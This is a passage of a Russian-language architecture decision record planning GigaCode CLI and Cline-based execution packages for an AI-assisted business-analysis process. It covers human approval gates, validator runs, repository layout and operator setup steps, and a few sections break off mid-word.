\u0433\u043e\u0442\u043e\u0432\u0438\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u0443\u0437\u043b\u0430; \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440 \u0432\u043b\u0430\u0434\u0435\u0435\u0442 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u043e\u043c. Human gates \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u044f\u0432\u043d\u043e\u0433\u043e \u043e\u0442\u0432\u0435\u0442\u0430 \u0411\u0410 \u0438 \u043d\u0435 \u043e\u0431\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 CLI. `G-mach` \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u043c Python, \u0430 `G-semantic` \u0438 `G-human` \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\u043c\u0438. Fail-closed \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 \u043e\u0441\u0442\u0430\\n\\n\u0414\u043e \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439 \u043f\u0430\u043a\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a **\u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0438\u043b\u043e\u0442**: \u0411\u0410 \u044f\u0432\u043d\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 `/skills rg-bcreq-v1-dispatcher`, \u0437\u0430\u0442\u0435\u043c \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043a\u0430\u0436\u0434\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438 \u0441\u043c\u043e\u0442\u0440\u0438\u0442 \u0435\u0451 exit code; \u044d\u0442\u043e \u043d\u0435 \u043a\u0432\u0430\u043b\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0434\u043e\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 end-to-end \u043f\u0440\u043e\u0433\u043e\u043d. \u0427\u0442\u0435\u043d\u0438\u0435 Python \u043a\u0430\u043a \u0442\u0435\u043a\u0441\u0442\u0430 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 JSON Schema, \u043d\u0435 \u0434\u0430\u0451\u0442 exit code \u0438 \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u0435\u0442 `G-mach`.\\n\\n\u0413\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u0438 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f: Source \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0432 `projects/ba-ai-process/`, Distribution \u2014 \u0432 `dist/execution-package-gigacode-cli/`, GigaCode runtime \u2014 \u0432 \u0443\u0436\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c [`G-Ivan-A/mango-ba-ai-runtime-cli`](https://github.com/G-Ivan-A/mango-ba-ai-runtime-cli). \u041d\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043d\u0435\u0433\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430. \u041f\u043e\u0441\u043b\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c **\u0432\u0435\u0441\u044c** \u043f\u0430\u043a\u0435\u0442, \u0432\u043a\u043b\u044e\u0447\u0430\u044f `.gigacode/skills/`, `AGENTS.md`, `contracts/`, `routes/`, `taxonomy/`, `templates/`, `evaluation/`, `golden/`, `tools/` \u0438 manifest; `meta-model/` \u0438 `docs/kb/` \u043d\u0430\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u043c\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0430\u043c\u0438. \u0420\u0435\u0430\u043b\u044c\u043d\u0430\u044f `.gigacode/settings.json`, \u043a\u043b\u044e\u0447\u0438 \u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u044b \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432\u043d\u0435 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e Git.\\n\\n\u041c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u0439 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0434\u043b\u044f \u0431\u0443\u0434\u0443\u0449\u0435\u0433\u043e guide \u043f\u0430\u043a\u0435\u0442\u0430:\\n\\n1. \u041d\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u043c \u0410\u0420\u041c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c GigaCode CLI \u043f\u043e [\u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u043c\u0443 quick start](https://gitverse.ru/docs/ai/ai-assistant-gigacode/getting-started-with-gigacode/quick-start), Git \u0438 Python 3 \u0441 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u043c\u0438 **\u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0435\u0439** \u043f\u0430\u043a\u0435\u0442\u0430; \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c `gigacode --version`, `python3 --version` \u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438. \u041b\u043e\u043a\u0430\u043b\u044c\u043d\u0430\u044f GPU \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438; \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0443 \u041e\u0421 \u0438 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e Python \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u043f\u0440\u0438 \u043f\u0438\u043b\u043e\u0442\u0435, \u0430 \u043d\u0435 \u0443\u0433\u0430\u0434\u044b\u0432\u0430\u0442\u044c.\\n2. \u041a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c runtime \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0437\u0430\u0434\u0430\u0447\u0438, \u0441\u0432\u0435\u0440\u0438\u0442\u044c manifest \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c `sh tools/validate-package.sh`. \u0417\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c `meta-model/` \u0438 `docs/kb/` \u0441 \u0443\u0447\u0451\u0442\u043e\u043c \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0439 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\\n3. \u0421\u043e\u0437\u0434\u0430\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0443\u044e `.gigacode/settings.json` \u0438\u0437 example \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u0432\u044b\u0434\u0430\u0447\u0438 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u043c \u0430\u0434\u0440\u0435\u0441\u0430, \u0442\u0440\u0430\u043d\u0441\u043f\u043e\u0440\u0442\u0430 \u0438 credentials \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u043d\u043e\u0433\u043e Confluence MCP. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c `/mcp` \u0438 `/tools`; \u043d\u0430\u043b\u0438\u0447\u0438\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043d\u0435 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u043e \u0447\u0442\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b.\\n4. \u0412\u044b\u0437\u0432\u0430\u0442\u044c `/skills rg-bcreq-v1-dispatcher` \u0441 `TASK-0001`, \u043f\u0440\u043e\u0439\u0442\u0438 `n0` \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0438\u0442\u044c \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0411\u0410. \u041d\u0430 \u043a\u0430\u0436\u0434\u043e\u043c \u0443\u0437\u043b\u0435 \u0432\u0438\u0434\u0435\u0442\u044c \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 `G-mach`, exit code, \u043f\u0443\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 \u0438 checkpoint. \u041f\u0440\u0438 reject \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f. \u0414\u043b\u044f `n12` \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 Working, \u0434\u043b\u044f `n13` \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c `validate-working`, `compile`, `validate-release` \u0438 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c Release \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u043c.\\n\\n## \u0423\u0442\u043e\u0447\u043d\u0435\u043d\u0438\u0435 \u043f\u043e review PR #616 (2026-09-26)\\n\\n\u041e\u0442\u0432\u0435\u0442 \u043d\u0430 [\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0439 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/616) \u043f\u043e \u0441\u0440\u0435\u0434\u0435 1.\\n\\n1. **\u041a\u0432\u0430\u043b\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430:** \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0430\u043a\u0435\u0442 \u2014 **\u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0438\u043b\u043e\u0442**. \u0414\u043b\u044f \u043e\u043f\u044b\u0442\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u0438 \u0443\u0441\u043b\u043e\u0432\u0438\u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0436\u0443\u0440\u043d\u0430\u043b\u0430 \u0448\u0430\u0433\u043e\u0432 (\u0441\u043c. \u0441\u0445\u0435\u043c\u0443 \u043d\u0438\u0436\u0435); \u0437\u0430\u044f\u0432\u043b\u044f\u0442\u044c \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 end-to-end \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435\u043b\u044c\u0437\u044f.\\n## Decision\\n\\n\u0412\u044b\u0431\u0440\u0430\u0442\u044c **Cline \u043a\u0430\u043a \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 VS Code** \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0433\u043e \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u044b 2. \u041e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 runtime \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0430\u0437\u0432\u0430\u0442\u044c `G-Ivan-A/mango-ba-ai-runtime-cline`; \u043d\u0435 \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u0442\u044c \u0435\u0433\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0432 GigaCode-\u043f\u0430\u043a\u0435\u0442\u0435. Source \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u043e\u0431\u0449\u0438\u0439 \u043d\u0430\u0431\u043e\u0440 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u0432 `projects/ba-ai-process/`; \u0430\u0434\u0430\u043f\u0442\u0435\u0440 Cline \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 `dist/execution-package-cline-vscode/` \u0441 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c manifest \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 \u0434\u043b\u044f \u0411\u0410. \u041d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u2014 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0439 \u043f\u0443\u0442\u044c \u0431\u0443\u0434\u0443\u0449\u0435\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438, \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u044d\u0442\u0438\u043c ADR \u043d\u0435 \u0441\u043e\u0437\u0434\u0430\u0451\u0442\u0441\u044f.\\n\\n\u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0437\u043c \u043a\u0432\u0430\u043b\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u043e \u0443\u0440\u043e\u0432\u043d\u044f\u043c:\\n\\n1. **\u041c\u0430\u0448\u0438\u043d\u043d\u044b\u0439:** \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 runner/CI \u0441\u0430\u043c \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440 \u0438 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 exit code, \u0433\u0440\u0430\u0444 \u0438 \u0441\u043e\u0445\u0440\u0430\u043d\u0451\u043d\u043d\u043e\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435. \u042d\u0442\u043e\u0442 \u0443\u0440\u043e\u0432\u0435\u043d\u044c \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u043c \u0442\u0435\u0441\u0442\u043e\u043c.\\n2. **\u0410\u0433\u0435\u043d\u0442\u043d\u044b\u0439:** Cline \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u0430, \u0433\u043e\u0442\u043e\u0432\u0438\u0442 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a, \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u0432\u044b\u0437\u043e\u0432\u044b tools \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f. \u0415\u0433\u043e \u0432\u044b\u0431\u043e\u0440 \u0438 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u043d\u044b; `AGENTS.md` \u0438 Cline rules \u043f\u043e\u043c\u043e\u0433\u0430\u044e\u0442, \u043d\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u044e\u0442 runner.\\n3. **\u0427\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u0439:** \u0411\u0410 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0443\u044e \u0430\u0442\u0440\u0438\u0431\u0443\u0446\u0438\u044e, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438, Working baseline \u0438 Release. \u0421\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0430 \u0438 \u043f\u0440\u0430\u0432\u0430 \u043d\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u044e \u043d\u0435 \u0432\u044b\u0434\u0430\u044e\u0442\u0441\u044f \u0438\u0437 Python exit code.\\n\\n\u0412 \u0431\u0443\u0434\u0443\u0449\u0435\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u043a\u0435 `AGENTS.md` \u2014 \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442; \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0439 \u0434\u043b\u044f Cline `.clinerules` \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0435\u043c \u043d\u0430 \u043d\u0435\u0433\u043e \u0438 \u043d\u0430 \u044f\u0432\u043d\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 runner. \u041d\u0430\u0432\u044b\u043a\u0438, \u043d\u0443\u0436\u043d\u044b\u0435 \u0434\u043b\u044f Cline, \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0439 \u0444\u043e\u0440\u043c\u0430\u0442 \u0431\u0435\u0437 \u043a\u043e\u043f\u0438\u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0439 \u043d\u043e\u0440\u043c\u044b. \u041d\u0435 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0442\u044c agent edit `tools/`, `contracts/`, `routes/` \u0438\u043b\u0438 manifest \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0432 \u043d\u0438\u0445 \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 Source PR \u0438 recompilation. \u0418\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e\u0434 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0411\u0410/CI, \u0430 \u043d\u0435 \u00ab\u0447\u0442\u0435\u043d\u0438\u0435\u043c Python \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u00bb. CI \u043e\u0431\u044f\u0437\u0430\u043d \u043e\u0442\u0432\u0435\u0440\u0433\u0430\u0442\u044c \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442 \u0431\u0435\\n\\n\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0441\u043a\u0438\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0434\u043b\u044f guide \u0431\u0443\u0434\u0443\u0449\u0435\u0433\u043e Cline-\u043f\u0430\u043a\u0435\u0442\u0430:\\n\\n1. \u041d\u0430 \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u043e\u043c \u0410\u0420\u041c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c Git, VS Code, \u043e\u0444\u0438\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0435 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435 [Cline](https://github.com/cline/cline/blob/main/docs/getting-started/installing-cline.mdx), Python 3 \u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 **\u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439** \u0432\u0435\u0440\u0441\u0438\u0438 \u043f\u0430\u043a\u0435\u0442\u0430. \u0414\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u0435\u043d \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440, \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0439 VS Code \u0438 Python; \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u0430\u044f GPU \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u043d\u0443\u0436\u043d\u0430. Junior \u0411\u0410 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043c\u0435\u0442\u044c \u043e\u0442\u043a\u0440\u044b\u0442\u044c \u043f\u0430\u043f\u043a\u0443 \u0432 VS Code, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0433\u043e\u0442\u043e\u0432\u0443\u044e \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435 \u0438 \u043f\u0440\u043e\u0447\u0435\u0441\u0442\u044c PASS/FAIL; \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 MCP-\u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u0434\u0430\u0447\u0430 \u043f\u0440\u0430\u0432 \u2014 \u0437\u0430\u0434\u0430\u0447\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\\n2. \u041f\u043e\u043b\u0443\u0447\u0438\u0442\u044c **\u0441\u0432\u043e\u0439** \u043a\u043b\u044e\u0447 \u0432 AI Core. \u041e\u0442\u043a\u0440\u044b\u0442\u044c Cline Settings \u2192 API Provider `OpenAI Compatible`; \u0443\u043a\u0430\u0437\u0430\u0442\u044c Base URL, \u0432\u044b\u0434\u0430\u043d\u043d\u044b\u0439 AI Core, \u043c\u043e\u0434\u0435\u043b\u044c `gpu-default`, \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043b\u044e\u0447, Context Window `114688`, Max Output Tokens `16384`, \u0432\u044b\u043a\u043b\u044e\u0447\u0438\u0442\u044c image support. \u0414\u043b\u044f \u0431\u043e\u043b\u0435\u0435 \u0434\u043b\u0438\u043d\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 `gpu-deep` \u0438\u043c\u0435\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u043b\u0438\u043c\u0438\u0442\u044b `98304`/`32768`; \u043f\u0435\u0440\u0435\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u043f\u0438\u043b\u043e\u0442\u0430. \u042d\u0442\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0432\u0437\u044f\u0442\u044b \u0438\u0437 [\u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438](https://github.com/user-attachments/files/32652321/default.txt), \u0430 \u043d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u044b \u0432 Cline. HTTP \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043b\u0438\u0448\u044c \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438/VPN \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0442\u043e\u0439 \u0436\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438; \u043a\u043b\u044e\u0447 \u043d\u0435 \u043f\u043e\u043c\u0435\u0449\u0430\u0442\u044c \u0432 Git, \u0447\u0430\u0442 \u0438\u043b\u0438 \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442.\\n3. \u0421\u043e\u0437\u0434\u0430\u0442\u044c/\u043a\u043b\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c `mango-ba-ai-runtime-cline` \u0432 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u0443\u044e \u043f\u0430\u043f\u043a\u0443. \u041f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c package manifest, `python3 --version`, \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 gate \u0438\u0437 README \u043f\u0430\u043a\u0435\u0442\u0430. \u041f\u0430\u043a\u0435\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c `AGENTS.md`, \u0430\u0434\u0430\u043f\u0442\u0435\u0440 Cline, `contracts/`, `routes/`, `taxonomy/`, `templates/`, `evaluation/`, `golden/`, `tools/`, `meta-model/` \u0438 `docs/kb/`; `runs/` \u0438 \u0441\u0435\u043a\u0440\u0435\u0442\u044b \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0438\u0437 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0433\u043e Git. \u041d\u0435 \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u0442\u044c `.gigacode/skills/` \u043a\u0430\u043a \u044f\u043a\u043e\u0431\u044b \u043d\u0430\u0442\u0438\u0432\u043d\u044b\u0435 Cline skills.\\n4. \u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 **\u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439** \u043e\u0434\u043e\u0431\u0440\u0435\u043d\u043d\u044b\u0439 MCP \u0434\u043b\u044f Jira/Confluence \u0447\u0435\u0440\u0435\u0437 Cline MCP Servers \u0438 